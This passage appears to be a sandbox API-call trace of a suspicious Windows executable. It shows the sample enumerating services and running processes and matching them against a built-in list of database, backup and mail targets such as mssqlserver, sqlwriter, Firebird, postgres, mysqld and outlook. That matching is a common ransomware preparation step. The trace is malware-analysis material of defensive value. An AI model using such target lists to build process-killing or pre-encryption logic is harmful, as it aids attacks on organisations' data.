(lpString1="mssqlserver", lpString2="nsi") returned -1 [0037.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0037.121] lstrlenW (lpString="PcaSvc") returned 6 [0037.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0037.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0037.121] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0037.121] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0037.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0037.121] lstrlenW (lpString="PlugPlay") returned 8 [0037.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0037.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0037.122] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0037.122] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0037.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0037.122] lstrlenW (lpString="Power") returned 5 [0037.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0037.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0037.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0037.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0037.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0037.122] lstrlenW (lpString="ProfSvc") returned 7 [0037.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0037.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0037.122] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0037.122] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0037.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0037.122] lstrlenW (lpString="RpcEptMapper") returned 12 [0037.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.122] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0037.122] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0037.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0037.122] lstrlenW (lpString="RpcSs") returned 5 [0037.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0037.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0037.122] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0037.122] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0037.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0037.122] lstrlenW (lpString="SamSs") returned 5 [0037.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0037.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0037.122] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0037.122] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0037.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0037.122] lstrlenW (lpString="Schedule") returned 8 [0037.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0037.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0037.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0037.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0037.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0037.123] lstrlenW (lpString="SENS") returned 4 [0037.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0037.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0037.123] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0037.123] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0037.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0037.123] lstrlenW (lpString="ShellHWDetection") returned 16 [0037.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.123] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0037.123] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0037.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0037.123] lstrlenW (lpString="Spooler") returned 7 [0037.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0037.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0037.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0037.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0037.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0037.123] lstrlenW (lpString="SysMain") returned 7 [0037.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0037.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0037.123] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0037.123] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0037.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0037.123] lstrlenW (lpString="Themes") returned 6 [0037.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0037.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0037.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0037.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0037.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0037.124] lstrlenW (lpString="TrkWks") returned 6 [0037.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0037.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0037.124] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0037.124] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0037.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0037.124] lstrlenW (lpString="UxSms") returned 5 [0037.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0037.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0037.124] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0037.124] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0037.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0037.124] lstrlenW (lpString="VSS") returned 3 [0037.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0037.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0037.124] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0037.124] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0037.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0037.124] lstrlenW (lpString="WdiServiceHost") returned 14 [0037.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0037.124] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0037.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0037.124] lstrlenW (lpString="WdiSystemHost") returned 13 [0037.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0037.124] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0037.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0037.125] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0037.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.125] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0037.125] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0037.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0037.125] lstrlenW (lpString="Winmgmt") returned 7 [0037.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0037.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0037.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0037.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0037.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0037.125] lstrlenW (lpString="WPDBusEnum") returned 10 [0037.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.125] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0037.125] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0037.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0037.125] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0037.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0037.128] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.128] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.129] lstrlenW (lpString="System") returned 6 [0037.129] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0037.129] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0037.129] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0037.129] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0037.129] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0037.129] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0037.129] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0037.129] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.130] lstrlenW (lpString="smss.exe") returned 8 [0037.130] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0037.130] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.130] lstrlenW (lpString="csrss.exe") returned 9 [0037.130] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0037.130] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0037.130] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0037.130] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0037.131] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0037.131] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0037.131] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.131] lstrlenW (lpString="wininit.exe") returned 11 [0037.131] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0037.131] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0037.131] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0037.131] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0037.131] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0037.131] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0037.131] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0037.131] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.132] lstrlenW (lpString="csrss.exe") returned 9 [0037.132] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.132] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.132] lstrlenW (lpString="winlogon.exe") returned 12 [0037.132] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.133] lstrlenW (lpString="services.exe") returned 12 [0037.133] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.133] lstrlenW (lpString="lsass.exe") returned 9 [0037.133] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.134] lstrlenW (lpString="lsm.exe") returned 7 [0037.134] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.134] lstrlenW (lpString="svchost.exe") returned 11 [0037.134] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.135] lstrlenW (lpString="svchost.exe") returned 11 [0037.135] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.135] lstrlenW (lpString="svchost.exe") returned 11 [0037.136] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.136] lstrlenW (lpString="svchost.exe") returned 11 [0037.136] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.136] lstrlenW (lpString="svchost.exe") returned 11 [0037.137] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.137] lstrlenW (lpString="audiodg.exe") returned 11 [0037.137] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.137] lstrlenW (lpString="svchost.exe") returned 11 [0037.137] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.138] lstrlenW (lpString="svchost.exe") returned 11 [0037.138] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.138] lstrlenW (lpString="dwm.exe") returned 7 [0037.138] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.139] lstrlenW (lpString="explorer.exe") returned 12 [0037.139] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.139] lstrlenW (lpString="spoolsv.exe") returned 11 [0037.139] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.140] lstrlenW (lpString="taskhost.exe") returned 12 [0037.140] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.140] lstrlenW (lpString="svchost.exe") returned 11 [0037.140] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.141] lstrlenW (lpString="taskeng.exe") returned 11 [0037.141] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.141] lstrlenW (lpString="taskhost.exe") returned 12 [0037.141] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0037.142] lstrlenW (lpString="dear.exe") returned 8 [0037.142] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0037.142] lstrlenW (lpString="b costa.exe") returned 11 [0037.142] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0037.143] lstrlenW (lpString="rc lock.exe") returned 11 [0037.143] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0037.143] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0037.143] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0037.144] lstrlenW (lpString="hugown.exe") returned 10 [0037.144] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0037.144] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0037.144] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0037.145] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0037.145] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0037.145] lstrlenW (lpString="locked welsh.exe") returned 16 [0037.145] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0037.146] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0037.146] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0037.146] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0037.146] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0037.147] lstrlenW (lpString="planners.exe") returned 12 [0037.147] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0037.147] lstrlenW (lpString="agreements.exe") returned 14 [0037.147] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0037.148] lstrlenW (lpString="tray.exe") returned 8 